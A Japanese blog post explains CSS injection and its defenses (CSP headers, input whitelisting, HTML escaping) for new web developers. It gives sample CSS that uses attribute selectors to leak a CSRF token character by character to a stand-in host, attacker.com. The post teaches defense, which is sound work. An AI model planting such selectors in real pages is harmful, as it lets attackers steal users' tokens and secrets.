鍵はかけても「壁の隙間」は見落としていませんか？CSSインジェクションの脅威と対策
こんにちは。セキュリティの現場で日々、複雑な攻撃と向き合っているエンジニアです。
皆さんは「Webサイトのセキュリティ」と聞くと、何を思い浮かべますか？おそらく、多くの人は「パスワードを複雑にする」「怪しいリンクをクリックしない」といった対策を連想するでしょう。これらはもちろん重要ですが、今回はもう少し視点を広げて、「Webサイトの見た目を作る技術（CSS）」が、実は巧妙な「泥棒の道具」に化けてしまう話をしたいと思います。
「え、CSSで攻撃？ デザイン崩しじゃないの？」と思った方、大正解です。しかし、実はその「デザインへの干渉」が、あなたの会社の機密情報を外へ持ち出すための鍵になってしまうのです。
—
1. CSSインジェクションとは？：家の「隙間」を覗かれる感覚
家の防犯を例に考えてみましょう。あなたは頑丈な玄関の鍵（パスワードや認証）をかけました。しかし、泥棒は玄関から入るのではなく、「外壁のわずかな隙間」から、家の中の配置や持ち物を盗み見るとしたらどうでしょうか？
CSSインジェクションとは、まさにこれです。
通常、Webサイトには「ユーザーが入力した内容を画面に表示する」機能があります。もし、この入力欄に「悪意のあるCSSコード」を忍び込ませることができたらどうなるでしょう。
攻撃者は、CSSの特定の機能（attribute selectorsなど）を使って、画面上の特定のテキストを「推測」しようとします。
攻撃のメカニズム：なぜ「情報」が盗まれるのか？
例えば、ページ内に「CSRFトークン」という、ユーザーを識別するための大切な秘密の文字列があるとします。攻撃者はCSSを使って、以下のような指示をブラウザに送ります。
/ 攻撃者が注入するCSSのイメージ /
input[value^=”a”] { background-image: url(‘https://attacker.com/log?char=a’); }
input[value^=”b”] { background-image: url(‘https://attacker.com/log?char=b’); }
このコードは、「もし入力欄の値が『a』で始まっていたら、攻撃者のサーバーに画像として読み込みに行け」という命令です。ブラウザが裏でこっそり攻撃者のサーバーにアクセスした瞬間、攻撃者は「あ、この人のトークンは『a』から始まるんだな」と確信を得ます。
これを繰り返すことで、パスワードや秘密のトークンを1文字ずつ「外部に送信」させてしまうのです。これがCSSインジェクションによる属性値抽出の正体です。
—
2. 泥棒を入れないための「壁」：Content Security Policy (CSP)
では、どうすればこの「隙間」を塞げるのでしょうか。一番大切なのは、「許可された場所からしか、デザインの指示（CSS）を読み込ませない」というルール作りです。
ここで登場するのが、CSP（Content Security Policy）という魔法の防犯バリアです。
CSPを設定して「外部の指示」をシャットアウト
サーバーからブラウザに向けて、「このサイトのデザインは、このドメインのファイル以外は絶対に受け入れないで！」と指示を送るのがCSPの役割です。
HTTPレスポンスヘッダーに、以下のような設定を追加してみてください。
CSPの設定例
Content-Security-Policy: default-src ‘self’; style-src ‘self’;
default-src 'self': 外部の怪しいサイトから何かを読み込むのを原則禁止にします。style-src 'self': CSSファイルは、自分自身のサーバーから読み込まれたものだけを許可します。
これだけで、外部サーバーに情報を送信させるような悪意あるCSSは、ブラウザ側で「これは許可されていない命令だ！」と弾かれるようになります。
—
3. 開発現場で今すぐできる3つの防御ステップ
最後に、新人エンジニアの方でも今日から実践できる、泥臭いけれど確実な防御のコツを伝授します。
1. ユーザー入力を「そのまま」スタイルに反映させない
- 一番危ないのは、ユーザーが投稿した色やフォントの設定を、そのまま に埋め込むことです。どうしても許可したい場合は、ホワイトリスト方式（指定した色名だけを許可するなど）で厳格にフィルタリングしましょう。
2. HTMLエスケープの徹底
- 入力された値を表示する際は、必ず「エスケープ」を忘れないでください。
<や>や"といった記号を文字として変換することで、コードとしての実行を無効化します。これはXSS全般に通じる鉄則です。
3. CSPを「厳格」に運用する
- 開発初期からCSPを適用するのは少し大変ですが、一度設定してしまえば強力な盾になります。「まずは緩和的に設定し、徐々に厳しくしていく」という運用で、安全なサイトを作り上げましょう。
---
最後に：完璧なセキュリティはないけれど
セキュリティの世界に「100%安全」という言葉はありません。攻撃者は常に新しい「隙間」を探しています。しかし、今回お話ししたCSSインジェクションやXSSの仕組みを理解しておけば、コードを書く際に「あれ、ここから何か悪用されないかな？」と一瞬立ち止まれるようになります。
その「疑う心」こそが、世界最高峰のホワイトハッカーへの第一歩です。
皆さんが作るWebサイトが、ユーザーにとって安全で心地よい場所であり続けることを、心から応援しています。また次の記事でお会いしましょう！
- 入力された値を表示する際は、必ず「エスケープ」を忘れないでください。
コメント